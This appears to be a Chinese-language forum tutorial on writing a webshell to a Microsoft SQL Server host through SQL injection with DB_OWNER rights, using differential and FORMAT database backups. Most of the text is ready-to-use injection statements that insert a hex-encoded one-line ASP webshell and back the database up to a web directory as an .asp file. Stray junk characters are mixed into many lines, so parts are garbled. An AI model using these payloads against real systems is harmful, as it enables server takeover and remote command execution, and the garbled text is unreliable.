DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

一利用差异备份
7 s! [! E: r: F/ y加一个参数WITH DIFFERENTIAL
% b6 N, V, E9 ]) R# |! _
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
$ [; x4 J! n6 K2 l* R" ecreate table [dbo].[xiaolu] ([cmd] [image]);
9 c; N! ~& s2 u1 x* [+ f& Hinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一个参数WITH FROMAT
* a: y; |2 Y' p* W/ ~/ C+ ]; }有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
- ], L% m8 r4 e9 W/ S6 [) b
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子

% p7 l+ c/ S) V# lid=1;use model create table cmd(str image);insert into cmd(str) values (”)

# |: z: V* f, k1 D: Bid=1;backup database model to disk=’你的路径‘ with differential,format;–
( `" m% u4 X- B
: n$ T" y1 ?; v' k8 [